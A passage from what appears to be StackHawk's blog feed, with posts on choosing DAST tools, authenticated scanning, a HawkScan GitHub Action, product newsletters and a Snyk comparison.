application. While running a scanner on external infrastructure and initiating the scan may seem simpler, there are several concerns associated with this method of dynamic application security testing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Scheduled scans are typically performed on the production site. Since DAST scanners actively probe the application, the security tests are often restricted in scope to prevent impacting the production environment. This approach, however, may leave the application exposed to some of the most malicious attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;When a vulnerability is discovered, inefficient internal processes need to occur to determine the root cause of the identified vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Production applications include protections against bot-type activities, such as rate limiting, making it challenging for a scanner to run tests effectively.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Manual Scans&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Manual scans are often easy to get started with but lack scalability across teams. Additionally, findings from these scans are less reproducible for the individuals who are typically deploying fixes. Manual scans that inherit shared configuration from automated testing, however, are highly beneficial in validating fixes.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Authenticated Scans&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If your application requires user login, you will need a scanner that supports authenticated testing methods or scans. Using an automated or scheduled scanner may complicate this. You should ensure that the vendor accommodates your form of authenticated scanning, such as &lt;a href=&quot;https://stackhawk.com/blog/security-testing-authenticated-app-routes-part-1-cookie-authentication&quot;&gt;&lt;u&gt;cookie-based&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://stackhawk.com/blog/security-testing-authenticated-app-routes-part-2-external-token-authentication-with-auth0&quot;&gt;&lt;u&gt;external token&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://stackhawk.com/blog/password-authentication-with-bearer-token&quot;&gt;&lt;u&gt;bearer token&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Application Target: Production vs. Pre-Production Sites&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As highlighted earlier, scanning in a pre-production environment rather than in a production setting offers numerous advantages. These include the ability to detect vulnerabilities before they become live, avoiding the need to bypass rate limiters, firewalls, and Web Application Firewalls (WAFs), and reducing the time required for fixes.&lt;/p&gt;&lt;p&gt;While the ability to run these scans is partially dependent on the company&amp;#39;s deployment pipeline, there is value in a scanner that is built to support pre-production scanning and has the ability to run tests in a dedicated application testing environment (such as a staging environment).&lt;/p&gt;&lt;h3&gt;&lt;b&gt;User of Tool: Security Analyst or Engineering Teams&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When selecting a tool, one of the primary considerations should be the individual who will use the tool. While testing and addressing application security flaws and vulnerabilities often involve a combination of security and development teams, developer-centric security tooling is growing in popularity to support a variety of testing methods.&lt;/p&gt;&lt;p&gt;These tools are increasingly being used with a focus on enabling developers to write more secure code, make triage decisions, and deploy fixes in their existing workflows, with the security team&amp;#39;s responsibility shifting to risk-based guidance and oversight.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The application security testing landscape has shifted over the past decades, with APIs serving as a primary potential attack vector. If you are running application security testing against modern applications, ensure that the tooling you select supports API testing as a first-class part of the tool.&lt;/p&gt;&lt;p&gt;Additionally, if you are using &lt;a href=&quot;https://graphql.org/&quot;&gt;&lt;u&gt;GraphQL&lt;/u&gt;&lt;/a&gt; as part of your tech stack, you&amp;#39;ll want to ensure that GraphQL API testing is supported by your DAST tool. You&amp;#39;ll also want to ensure that the tool supports scanning federated GraphQL implementations.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Single Page Application Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Single Page Applications (SPAs), built-in frameworks like &lt;a href=&quot;https://reactjs.org/&quot;&gt;&lt;u&gt;React&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://angular.io/&quot;&gt;&lt;u&gt;Angular&lt;/u&gt;&lt;/a&gt;, have rapidly grown in popularity in recent years. Without a static DOM, traditional HTML spiders cannot identify the various paths to run a dynamic application security test against. Testing SPAs necessitates using a tool equipped with an AJAX spider, alongside a tool capable of scanning the underlying APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Deployment Model: On-Prem vs. SaaS&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In determining the right application security testing tool, consider the deployment model that works best for your organization. Most companies will prefer a SaaS solution, but some companies still require an on-premise solution.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion: Just Start Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Dynamic application security testing is an excellent way to ensure that you are delivering secure software applications and avoiding the risk of a breach. Getting started is relatively simple and there are numerous free and open source tools to support your testing process and enhance your existing security posture. DAST offers developers a major security advantage by helping to identify security vulnerabilities and generating high-quality vulnerability assessment reports. The key message here is to simply begin testing!&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Detecting Security Vulnerabilities with StackHawk!&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you&amp;#39;re looking for the fastest way to get started with DAST, look no further than StackHawk.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up today&lt;/u&gt;&lt;/a&gt; to receive a free trial of the DAST platform built by developers to help developers find security vulnerabilities more efficiently.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Security-Based Development Should Work]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-security-based-development-should-work</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Over the past several years, tooling and processes have evolved to help businesses ship features to their customers faster. Automated QA, unit testing, and integration testing are just a few examples of capabilities that fit nicely into the CICD pipeline and allow engineers to find bugs as they write and deliver code. At StackHawk, we’re providing software engineers with this capability for security bugs. &lt;/p&gt;&lt;h3&gt;Security-Based Development with StackHawk&lt;/h3&gt;&lt;p&gt;StackHawk empowers software engineers to take security into their own hands by providing software that does the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Runs Where Engineers Work, as They Work.&lt;/b&gt; Engineers can run StackHawk on their local machines before pushing code into their CI workflow, and also instrument StackHawk in CI to catch bugs before code is deployed to production. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Finds AppSec Bugs Continuously&lt;/b&gt;. Existing (DAST) AppSec scanners are built to run in production, by the security team. StackHawk was built developer-first, and can be instrumented to run on every PR/Merge, where bugs can be identified on a specific branch and fixed by engineers immediately. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Promotes Security Observability.&lt;/b&gt; As StackHawk runs in CI it populates scan results and metadata into the platform, and integrates with workflow tools like Slack so engineers can easily see when new security bugs have been introduced. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Saves Teams Money.&lt;/b&gt; When AppSec bugs make it into production, it’s expensive to context switch teams to old code to remediate issues. Many companies also pay bug bounties on security bugs that would otherwise be identified by StackHawk early in the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Empowers Engineers to Own AppSec.&lt;/b&gt; Developers care about code quality, and this includes security. Engineers that use StackHawk fix net-new security bugs by default because they find out at the right time, in their existing workflow. It’s time companies put more trust and responsibility in the very capable hands of their engineering team when it comes to delivering secure software. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To learn more about StackHawk and to give security-based development a try, sign up for the early access program.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Onboarding #2: Authenticated Scanning]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/onboarding-2-authenticated-scanning</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Onboarding]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;Getting Started with StackHawk&lt;/h3&gt;&lt;p&gt;To help you get started, we have written this onboarding guide with all the tips and tricks about getting up and running with StackHawk. This post covers how to set up authenticated scanning, and will link to the next steps.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Authenticated Scanning&lt;/h3&gt;&lt;p&gt;Now that you’ve sorted out the basic configuration, it’s time to configure authenticated scanning.&lt;/p&gt;&lt;p&gt;For many web applications, your most important information from a security perspective will live behind a login screen. StackHawk supports the following types of automated authentication for security testing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Username/Password Authentication + Cookie Authorization &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Username/Password Authentication + Bearer Token Authorization &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;External Token Authentication + Custom Token Authorization &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;Our documentation&lt;/a&gt; has all of the details, including examples, of how to build out your authenticated scans.&lt;/p&gt;&lt;p&gt;Next Up: how to &lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-onboarding-3-triaging-and-fixing-findings/&quot;&gt;triage and fix&lt;/a&gt; the findings from your scan.&lt;/p&gt;&lt;p&gt;As always, we are here to help at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Testing with HawkScan Github Action]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-testing-with-hawkscan-github-action</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[April Conger]]></dc:creator><content:encoded>&lt;p&gt;StackHawk is always searching for ways to make application security testing easier for developers. That’s why we have created a new GitHub Action that integrates AppSec testing directly into your GitHub CI/CD pipeline.&lt;/p&gt;&lt;p&gt;If you aren’t familiar, &lt;a href=&quot;https://github.com/features/actions&quot;&gt;GitHub Actions&lt;/a&gt; is a powerful platform for continuous integration and deployment. Using simple YAML workflow configuration files, you can trigger software builds, tests, and deployments from a variety of events such as merging code. With a free GitHub account, you have access to thousands of minutes of compute time per month for building, testing, and deploying your applications.&lt;/p&gt;&lt;p&gt;Our scanner, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;HawkScan&lt;/a&gt;, works by scanning your running application, finding all of its available API routes, and probing them with security tests. In the StackHawk web app, you can analyze the results of your scans and track the security profile of your application over time. StackHawk alerts you whenever new security bugs are found, and you can assign bugs to developers to track them to resolution.&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/marketplace/actions/stackhawk-hawkscan-action&quot;&gt;HawkScan Action&lt;/a&gt; makes it easy to add dynamic application security testing (DAST) to your GitHub Actions workflow. This means that every time a developer checks in code, you can automatically test your application and discover any new security issues as soon as they are introduced. Run those automated tests in a pre-production environment, and you can catch and resolve those bugs before they ever get exposed to your customers and the world.&lt;/p&gt;&lt;h3&gt;Using the HawkScan Action&lt;/h3&gt;&lt;p&gt;The HawkScan Action can run most scans with just a single parameter – your StackHawk API key. For example, to scan a Node.js app, your GitHub Actions workflow would be as simple as this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This workflow has 4 steps:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Checks out your code with the &lt;code&gt;actions/checkout@v2&lt;/code&gt; action&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Installs your Node.js app and its dependencies with &lt;code&gt;npm install&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Runs your app in the background with &lt;code&gt;nohup node bin/www &amp;amp;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Scans your app with our &lt;code&gt;stackhawk/hawkscan-action@v1.1&lt;/code&gt; action using your StackHawk API key from &lt;a href=&quot;https://docs.github.com/en/actions/reference/encrypted-secrets&quot;&gt;GitHub secrets&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The rest of the configuration for HawkScan lives in your code repository in a &lt;code&gt;stackhawk.yml&lt;/code&gt; file.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Other Configuration Options&lt;/h3&gt;&lt;p&gt;The HawkScan Action exposes all of the features of HawkScan, so there are no limits to how you can run it in your pipeline.&lt;/p&gt;&lt;h3&gt;Multiple Configuration Files&lt;/h3&gt;&lt;p&gt;To support multiple HawkScan configurations in different environments, you can use &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#multiple-configuration-files&quot;&gt;multiple configuration files&lt;/a&gt; to override a base configuration. Just supply your configuration files in order using the &lt;code&gt;configurationFiles&lt;/code&gt; input, like so.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Environment Variables&lt;/h3&gt;&lt;p&gt;The HawkScan configuration file supports &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#environment-variable-runtime-overrides&quot;&gt;environment variable interpolation&lt;/a&gt;, so you can dynamically set configuration options at runtime. For instance, you could set the value of your &lt;code&gt;app.host&lt;/code&gt; parameter at run time using the &lt;code&gt;APP_HOST&lt;/code&gt; environment variable. Your HawkScan configuration file would look like this.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And to set your host entry to &lt;code&gt;http://example.com&lt;/code&gt; at runtime, your GitHub Actions workflow would look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Get Started with the HawkScan Action!&lt;/h3&gt;&lt;p&gt;The HawkScan Action makes it easy to add DAST scanning to your build pipeline, so you can catch new security bugs before they end up in production. Even if you are brand new to StackHawk, you can be up and running inside of an hour. Here’s how:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup?free-tier=true&quot;&gt;Sign up&lt;/a&gt; for a free StackHawk account&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Read our &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;Getting Started guide&lt;/a&gt; and run your first scan&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Read our &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/github-actions.html&quot;&gt;GitHub Actions integration guide&lt;/a&gt; to run your first scan GitHub Actions&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[August Newsletter: General Availability and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/august-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;We’re Launching into General Availability&lt;/h3&gt;&lt;p&gt;We are excited to announce that StackHawk has officially launched into General Availability. StackHawk was started with the mission of building an application security testing tool for developers. Existing application security tooling is not built for modern teams and cannot keep up with the pace of today’s software development. We have received continuous feedback from engineering and security teams alike that we’ve succeeded in our mission of a developer-centric AppSec tool. Best part is that this is just the beginning – we have tons of great ideas already baked into our roadmap. To read more about our GA launch, check out our announcement blog.&lt;/p&gt;&lt;p&gt;On this day, we would like to extend a special thank you to our early access customers that have been continuously providing us feedback along the way. We are so grateful for your input, your testing, and your support. And as we launch into GA, we are excited to support more customers in our mission of developer-centric application security.&lt;/p&gt;&lt;p&gt;With our GA launch today, we would be incredibly grateful for your support in getting the word out. You can share the news by upvoting us on &lt;a href=&quot;https://www.producthunt.com/posts/stackhawk/&quot;&gt;Product Hunt&lt;/a&gt; and &lt;a href=&quot;https://news.ycombinator.com/item?id=24341217&quot;&gt;HackerNews&lt;/a&gt; or posting on your social media of choice. Thank you! &lt;/p&gt;&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GraphQL Scanning Improvements&lt;/b&gt;. We’ve added more configuration parameters around GraphQL scanning to give you better control of scan behavior. Check out the docs for more details.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Application YAML&lt;/b&gt;. Now you can view the latest config file for a given application and environment directly within the UI. Check it out by clicking the kebab on any application in the Applications screen.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Bamboo Integration.&lt;/b&gt; Add StackHawk scans to your Bamboo pipeline. Check out the docs for more info.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Billing Capabilities.&lt;/b&gt; We have to keep the lights on around here somehow. …er, we’re all working from home right now, but you get the idea. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;StackHawk + Jira: AppSec in Your Dev Workflow&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In August, we launched our Jira integration, allowing you to push StackHawk findings into Jira. Now you can prioritize your application security bugs with the rest of your engineering work. Additionally, by sending these details to Jira, StackHawk will know that these bugs are being prioritized and will no longer break the build in your CI pipeline for findings that are linked to a JIRA ticket. Learn more about how to integrate StackHawk with your Jira account (it’s easy!) in the blog below.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/jira-application-security-integration/&quot;&gt;Read the Blog&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;&lt;b&gt;📖  Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://about.gitlab.com/blog/2020/08/21/align-engineering-security-appsec-tests-in-ci/#comment-5048909963&quot;&gt;How Developer-Centric AppSec Testing Can Dramatically Change Your DevOps Team&lt;/a&gt; [GitLab Guest Post]&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;📽 &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;p&gt;We had a great time at GraphQL Summit and GitLab Commit this past month, and we have several more events coming up. Swing by our virtual booths at the following events.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://devopsdays.org/events/2020-chicago/welcome/&quot;&gt;DevOpsDays Chicago: Sep 1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.cloudbees.com/devops-world/sessions&quot;&gt;DevOps World: Sep 22-24&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Open Core Summit: Nov 4-6&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/&quot;&gt;KubeCon: Nov 17-20&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📺  HawkTalks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=--liu7LCs5A&quot;&gt;GraphQL Security Testing with StackHawk&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=--liu7LCs5A&quot;&gt;DevOps Works! …Why Hasn’t Security Kept Up?&lt;/a&gt; [StackHawk CEO Joni Klippert’s GitLab Commit Keynote – View On Demand]&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Snyk vs. StackHawk: AppSec Tool Comparison]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/snyk-vs-stackhawk-appsec-tool-comparison</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;tl;dr&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;The Tools do Different Things.&lt;/b&gt; Snyk finds vulnerabilities in your app’s open source dependencies whereas StackHawk finds security bugs that your team has written into the code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Both Are Important.&lt;/b&gt; If you want to ship secure applications, you should be doing both static (Snyk) and dynamic (StackHawk) checks for security bugs. We recommend using both products. And the good news is, both products are free to get started with.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;We’re Big Fans of Snyk.&lt;/b&gt; Here at StackHawk, we are strong believers in building security tools for developers. Snyk shares our belief and it shows in their product. We use Snyk internally and we are fans.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Read more below to learn about Snyk, StackHawk, and the difference between static analysis of dependencies and dynamic application scanning.&lt;/p&gt;&lt;h3&gt;Snyk: Use Open Source, Stay Secure&lt;/h3&gt;&lt;p&gt;Snyk (&lt;a href=&quot;https://snyk.io&quot;&gt;snyk.io&lt;/a&gt;) connects to your GitHub repo and builds dependency trees for your applications. It then maps these open source dependencies against a database of known vulnerabilities, surfacing vulnerable open source that has been pulled into your application. Snyk is built for developers, including IDE integrations and inclusion in the CI/CD pipeline. Snyk can automatically open a pull request to update to the secure patched version. Snyk has also recently released a container scanning product that finds vulnerabilities in containers and Kubernetes applications.&lt;/p&gt;&lt;h3&gt;StackHawk: Find, Triage, and Fix Security Bugs&lt;/h3&gt;&lt;p&gt;StackHawk is an application security tool built to help developers find, triage, and fix security bugs in their applications. The key difference here, is that StackHawk finds bugs that you or your team may have written into the code, not bugs that exist in open source dependencies. StackHawk scans a running version of your application, either in local development or in the CI/CD build pipeline. Because it is scanning a running version of the app, it finds the same bugs that would be available to an outside attacker of the application.&lt;/p&gt;&lt;p&gt;StackHawk find bugs such as SQL Injection, Arbitrary Code Execution, OS Command Injection, Path Traversal, Cross Site Scripting, Cross Site Request Forgery, Open Redirect and More. Many of these bugs are the same type that you would find with an application dependency checker like Snyk, but the way in which they are introduced into the app is different.&lt;/p&gt;&lt;h3&gt;Dynamic vs. Static Scanning: A Primer&lt;/h3&gt;&lt;p&gt;As mentioned, the key difference between Snyk and StackHawk is that they are different categories of tools. Snyk is a static analysis tool and dynamic scanning tool. Static Analysis Security Testing (SAST) tools scan the source code of an application for vulnerabilities in dependencies whereas Dynamic Application Security Testing (DAST) tools scan the running application for security bugs. These approaches are sometimes called whitebox for SAST and blackbox for DAST, pointing to the perspective when assessing vulnerabilities. Whitebox / SAST scans assume a knowledge of the code whereas the blackbox / DAST scans have the same perspective as an outside attacker, with no prior knowledge of the application.&lt;/p&gt;&lt;p&gt;Both dynamic and static scanning are important for building secure apps. We recommend setting up free versions of StackHawk and Snyk to start testing and fixing security bugs.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[June Newsletter: GitHub Actions, Concourse CI, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/june-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Check out the latest features we’ve added to StackHawk:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;New Integrations:&lt;/b&gt; Thou shalt automate application security testing. We make it easy. This month we released integrations with &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/concourse-ci.html&quot;&gt;Concourse CI&lt;/a&gt; and &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/github-actions.html&quot;&gt;GitHub Actions&lt;/a&gt;. Using another CI provider? Check out the list &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;here&lt;/a&gt; and let us know if you don’t see your tool.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scanned Paths Tab:&lt;/b&gt; Assess the completeness of your scan by reviewing which paths were canned in your application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Terminal Output Improvements:&lt;/b&gt; See managed findings and scan progress in the terminal output as you scan locally.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Header Replacement Support:&lt;/b&gt; Modify your request headers during a scan to help with proxying, authentication, and more.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Email Authentication:&lt;/b&gt; Want to create a StackHawk account without Gmail or GitHub OAuth? Now you can…&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;GraphQL Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We launched GraphQL support at the end of May and have been quickly pushing out improvements over the course of the month. If you have any GraphQL endpoints, give StackHawk testing a try.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/graphql-configuration.html&quot;&gt;Read the Docs&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Need to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;📖 &lt;/b&gt;Reading Material&lt;/h4&gt;&lt;p&gt;Check out a couple of our posts while you’re reading in the summer sun:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/automated-graphql-security-testing/&quot;&gt;GraphQL Security: Automated Security Testing of GraphQL Backed Applications&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/graphql-application-security-testing/&quot;&gt;Announcing GraphQL Application Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://builtin.com/software-engineering-perspectives/continuous-delivery-pipeline&quot;&gt;How 3 DevOps Pros Built Their Continuous Delivery Pipelines&lt;/a&gt; [Built In]&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;We had a great time at INS1GHTS and DevSecCon24. There are tons of great virtual events popping up left and right… Let us know where else we should be! And in the meantime, check out Scott’s overview of StackHawk from DevSecCon24.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=U3zoW1VVIhE&amp;list=PLKWDDWZ_ETtCzvLD-RG8UkVtrjlSSvBS2&amp;index=29&amp;t=0s&quot;&gt;Modern Dynamic Application Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;❤️ &lt;/b&gt;️Give Us Some Love&lt;/h4&gt;&lt;p&gt;Share the goodness of developer first application security. We are always grateful for recommendations and referrals! We’d love for you to share about StackHawk on HackerNews or Reddit. As always, thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building Secure CI Pipelines Using GitHub Actions]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-with-github-actions</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;Last week, I had the privilege of joining Sherif Koussa, Founder and CEO of &lt;a href=&quot;https://www.softwaresecured.com/&quot;&gt;Software Secured&lt;/a&gt;, to chat about ensuring security in production applications by adding application security testing into the CI pipeline.&lt;/p&gt;&lt;p&gt;Watch the video below for details on how to add security checks into CI using &lt;a href=&quot;https://github.com/features/actions&quot;&gt;GitHub Actions&lt;/a&gt;, including:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Dynamic Application Security Testing (DAST)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Static Application Security Testing (SAST)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secrets Detection&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.youtube.com/embed/W_7BxFgMYHs&quot;&gt;&lt;b&gt;Video&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/W_7BxFgMYHs&quot;&gt;&lt;/a&gt;For more details on instrumenting StackHawk with GitHub Actions, check out &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/github-actions.html&quot;&gt;our documentation&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Observability]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-visibility-slack</guid><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;Bring application security visibility to your engineering team by surfacing results from your AppSec scans in Slack.&lt;/p&gt;&lt;h3&gt;tl;dr&lt;/h3&gt;&lt;p&gt;Security is shifting left and modern engineering teams are taking control over the security of their applications. Here are the best ways to get 